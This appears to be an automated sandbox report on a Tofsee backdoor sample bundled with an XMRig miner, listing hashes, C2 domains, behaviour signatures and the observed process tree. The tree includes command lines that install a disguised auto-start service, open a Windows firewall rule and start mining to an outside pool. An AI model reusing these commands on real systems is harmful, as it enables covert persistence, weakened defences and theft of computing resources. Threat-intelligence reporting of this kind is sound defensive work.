Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-10-2022 04:25

General

  • Target

    94cc784358c510c5d69a1ed931513d357e7f529996323e94a79be1a7e1393ed8.exe

  • Size

    261KB

  • MD5

    2ca69f7556a4b114d21e07b457aaeef3

  • SHA1

    366ad9d4d443f2803c5db3943a65bcbc904cf069

  • SHA256

    94cc784358c510c5d69a1ed931513d357e7f529996323e94a79be1a7e1393ed8

  • SHA512

    799d08283243fcfd2a26506f92bd69df8d745d74b375dd1e552ea20c011a418e2abcf45885968bbb4f4ce51e820c3591e49a727084f8a13c6b599fd7624ca109

  • SSDEEP

    6144:D2CBgSLdKKa1Tm0TRRCedy1QzJ8KMrnn8wc0L:D9BlZKKETmkRYv1QzJ8pkq

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\94cc784358c510c5d69a1ed931513d357e7f529996323e94a79be1a7e1393ed8.exe
    "C:\Users\Admin\AppData\Local\Temp\94cc784358c510c5d69a1ed931513d357e7f529996323e94a79be1a7e1393ed8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pspypmqm\
      2⤵
        PID:4032
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bqebuawz.exe" C:\Windows\SysWOW64\pspypmqm\
        2⤵
          PID:4348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pspypmqm binPath= "C:\Windows\SysWOW64\pspypmqm\bqebuawz.exe /d\"C:\Users\Admin\AppData\Local\Temp\94cc784358c510c5d69a1ed931513d357e7f529996323e94a79be1a7e1393ed8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pspypmqm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pspypmqm
          2⤵
          • Launches sc.exe
          PID:4360
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3472
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 1036
          2⤵
          • Program crash
          PID:4732
      • C:\Windows\SysWOW64\pspypmqm\bqebuawz.exe
        C:\Windows\SysWOW64\pspypmqm\bqebuawz.exe /d"C:\Users\Admin\AppData\Local\Temp\94cc784358c510c5d69a1ed931513d357e7f529996323e94a79be1a7e1393ed8.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1660
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2692
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 524
          2⤵
          • Program crash
          PID:2180
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4904 -ip 4904
        1⤵
          PID:3876
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1660 -ip 1660
          1⤵
            PID:2520

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\bqebuawz.exe

            Filesize

            12.6MB

            MD5

            a1eb2c7b5f81276257cb47a482740aeb

            SHA1

            92069508e8cffd78ab7aafc7bb0c3e273a693ce5

            SHA256

            1c73e71b19d365c096fe69a6767b790d016b3a5fe2ce0e40e7c499cdbc88cf51

            SHA512

            56586a7b3fa3503d4d39fba786ad19c8bc155f01056039e39768f50310875605340108819db0c1ce945f2cb337b06a5e9a03d64d93c1a9cc72d5ed43c5a5a4fb

          • C:\Windows\SysWOW64\pspypmqm\bqebuawz.exe

            Filesize

            12.6MB

            MD5

            a1eb2c7b5f81276257cb47a482740aeb

            SHA1

            92069508e8cffd78ab7aafc7bb0c3e273a693ce5

            SHA256

            1c73e71b19d365c096fe69a6767b790d016b3a5fe2ce0e40e7c499cdbc88cf51

            SHA512

            56586a7b3fa3503d4d39fba786ad19c8bc155f01056039e39768f50310875605340108819db0c1ce945f2cb337b06a5e9a03d64d93c1a9cc72d5ed43c5a5a4fb

          • memory/1660-151-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB

          • memory/1660-150-0x0000000002FB2000-0x0000000002FC8000-memory.dmp

            Filesize

            88KB

          • memory/2452-139-0x0000000000000000-mapping.dmp

          • memory/2692-146-0x0000000000000000-mapping.dmp

          • memory/2692-152-0x0000000000340000-0x0000000000355000-memory.dmp

            Filesize

            84KB

          • memory/2692-169-0x00000000019F0000-0x00000000019F7000-memory.dmp

            Filesize

            28KB

          • memory/2692-166-0x0000000007100000-0x000000000750B000-memory.dmp

            Filesize

            4.0MB

          • memory/2692-163-0x00000000019E0000-0x00000000019E5000-memory.dmp

            Filesize

            20KB

          • memory/2692-160-0x00000000009F0000-0x0000000000A00000-memory.dmp

            Filesize

            64KB

          • memory/2692-157-0x00000000009E0000-0x00000000009E6000-memory.dmp

            Filesize

            24KB

          • memory/2692-154-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/2692-153-0x0000000000340000-0x0000000000355000-memory.dmp

            Filesize

            84KB

          • memory/2692-147-0x0000000000340000-0x0000000000355000-memory.dmp

            Filesize

            84KB

          • memory/3472-141-0x0000000000000000-mapping.dmp

          • memory/3548-138-0x0000000000000000-mapping.dmp

          • memory/4032-134-0x0000000000000000-mapping.dmp

          • memory/4348-135-0x0000000000000000-mapping.dmp

          • memory/4360-140-0x0000000000000000-mapping.dmp

          • memory/4684-172-0x0000000000000000-mapping.dmp

          • memory/4684-173-0x0000000000880000-0x0000000000971000-memory.dmp

            Filesize

            964KB

          • memory/4684-178-0x0000000000880000-0x0000000000971000-memory.dmp

            Filesize

            964KB

          • memory/4904-133-0x0000000002D80000-0x0000000002D93000-memory.dmp

            Filesize

            76KB

          • memory/4904-132-0x0000000002E37000-0x0000000002E4D000-memory.dmp

            Filesize

            88KB

          • memory/4904-145-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB

          • memory/4904-144-0x0000000002D80000-0x0000000002D93000-memory.dmp

            Filesize

            76KB

          • memory/4904-143-0x0000000002E37000-0x0000000002E4D000-memory.dmp

            Filesize

            88KB

          • memory/4904-137-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB